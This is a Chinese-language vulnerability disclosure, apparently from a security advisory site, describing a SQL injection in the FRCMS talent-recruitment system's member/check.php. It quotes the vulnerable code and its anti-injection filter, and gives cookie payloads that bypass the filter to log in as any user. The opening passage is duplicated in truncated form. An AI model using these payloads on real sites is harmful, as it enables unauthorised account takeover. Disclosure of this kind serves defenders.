### 简要描述: 嘉缘人才系统SQL注入导致任意用户登陆 ### 详细说明: 文件member/index.php ``` require('check.php'); if(empty($do)) $do= ''; $titstr="会员中心"; $user_type=_getcookie('user_type');$ut=''; $user_type=='pmember'&&$ut='person'; $user_type=='cmember'&&$ut='company'; $user_type=='smember'&&$ut='school'; $user_type=='tmember'&&$ut='train'; ``` 这里包含了check.php,跟进 文件member/check.php ``` <?php /* [FRCMS] Copyright (c) 2010 Finereason.COM This is NOT a freeware, use is subject to license.txt */ defined('IN_FR') or exit('Access Denied'); !isset($db)&&$db=connectdb(); $goto=urlencode($_SERVER['REQUEST_URI']); $username=_getcookie('user_login'); if($username==''){ $str=''; foreach($_POST as $key => $val){ $str.="&$key=$val"; } $goto=urlencode(joinchar($_SERVER['REQUEST_URI']).substr($str,1)); echo "<script language=JavaScript>{location.href='{$cfg['path']}login.php?goto=$goto';}</script>"; exit(); }else{ $userpass=_getcookie('user_pass'); $rs = $db->get_one("select...
### 简要描述: 嘉缘人才系统SQL注入导致任意用户登陆 ### 详细说明: 文件member/index.php ``` require('check.php'); if(empty($do)) $do= ''; $titstr="会员中心"; $user_type=_getcookie('user_type');$ut=''; $user_type=='pmember'&&$ut='person'; $user_type=='cmember'&&$ut='company'; $user_type=='smember'&&$ut='school'; $user_type=='tmember'&&$ut='train'; ``` 这里包含了check.php,跟进 文件member/check.php ``` <?php /* [FRCMS] Copyright (c) 2010 Finereason.COM This is NOT a freeware, use is subject to license.txt */ defined('IN_FR') or exit('Access Denied'); !isset($db)&&$db=connectdb(); $goto=urlencode($_SERVER['REQUEST_URI']); $username=_getcookie('user_login'); if($username==''){ $str=''; foreach($_POST as $key => $val){ $str.="&$key=$val"; } $goto=urlencode(joinchar($_SERVER['REQUEST_URI']).substr($str,1)); echo "<script language=JavaScript>{location.href='{$cfg['path']}login.php?goto=$goto';}</script>"; exit(); }else{ $userpass=_getcookie('user_pass'); $rs = $db->get_one("select m_id,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_typeid,m_groupid,m_balance,m_integral,m_resumenums,m_mysendnums,m_mysendnum,m_myinterviewnums,m_myinterviewnum,m_myfavoritenums,m_myfavoritenum,m_letternums,m_contactnums,m_contactnum,m_expertnums,m_expertnum,m_recyclenums,m_recyclenum,m_hirenums,m_hirenum,m_hirenums,m_hirenum,m_smsnums,m_smsnum,m_operator,m_openid,m_mobileauth,m_emailauth,m_logo,m_confirm,m_logostatus from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 0,1"); ``` 这里注意: $username=_getcookie('user_login'); $userpass=_getcookie('user_pass'); $username和$userpass进入了SQL语句,继续跟进_getcookie 文件/inc/common.inc.php ``` function _getcookie($var) { global $cfg; $var = $cfg['cookie_pre'].$var; return isset($_COOKIE[$var]) ? $_COOKIE[$var] : ''; } ``` 这里的$cfg['cookie_pre']='fr_' 直接从_COOKIE获取参数值带入了上面的SQL语句,没有任何过滤,导致SQL注入 这里在进入SQL之前有一个防注入: ``` function checksql($dbstr,$querytype='select'){ $clean = ''; $old_pos = 0; $pos = -1; //普通语句,直接过滤特殊语法 if($querytype=='select'){ $nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i"; if(preg_match($nastr,$dbstr)){ log_write($dbstr,'sql'); showmsg('SafeError:10001', 'javascript:;'); exit(); } } //完整的SQL检查 while (true){ $pos = strpos($dbstr, '\'', $pos + 1); if ($pos === false){ break; } $clean .= substr($dbstr, $old_pos, $pos - $old_pos); while (true){ $pos1 = strpos($dbstr, '\'', $pos + 1); $pos2 = strpos($dbstr, '\\', $pos + 1); if ($pos1 === false){ break; } elseif ($pos2 == false || $pos2 > $pos1){ $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($dbstr, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){ $fail = true; } elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (preg_match('~\([^)]*?select~s', $clean) != 0){ $fail = true; } if (!empty($fail)){ log_write($dbstr,'sql'); showmsg('SafeError:10002', 'javascript:;');exit; } else { return $dbstr; } } ?> ``` 但是可以轻易绕过了 ### 漏洞证明: 访问:http://10.65.20.198/frcms/member/index.php 然后抓包,将cookie中的fr_user_pass或者fr_user_login的值加入单引号' 发送请求,会导致sql报错: [<img src="https://images.seebug.org/upload/201408/28144831849d2d648acfb573d7fd36a4ed65b34a.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/28144831849d2d648acfb573d7fd36a4ed65b34a.png) 那么这里我们可以任意用户登录了。 发送cookie:fr_user_login=111111' and char(@`'`) or 1=2#会跳转到登陆页面 发送cookie:fr_user_login=111111' and char(@`'`) or 1=1#即可登陆用户 [<img src="https://images.seebug.org/upload/201408/28151233d7f434cd6a573ee59470452c7a6d6332.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/28151233d7f434cd6a573ee59470452c7a6d6332.png) 这里cookei中的 fr_user_type表示用户类型,修改这里的 fr_user_type的值即可登陆不同用户了。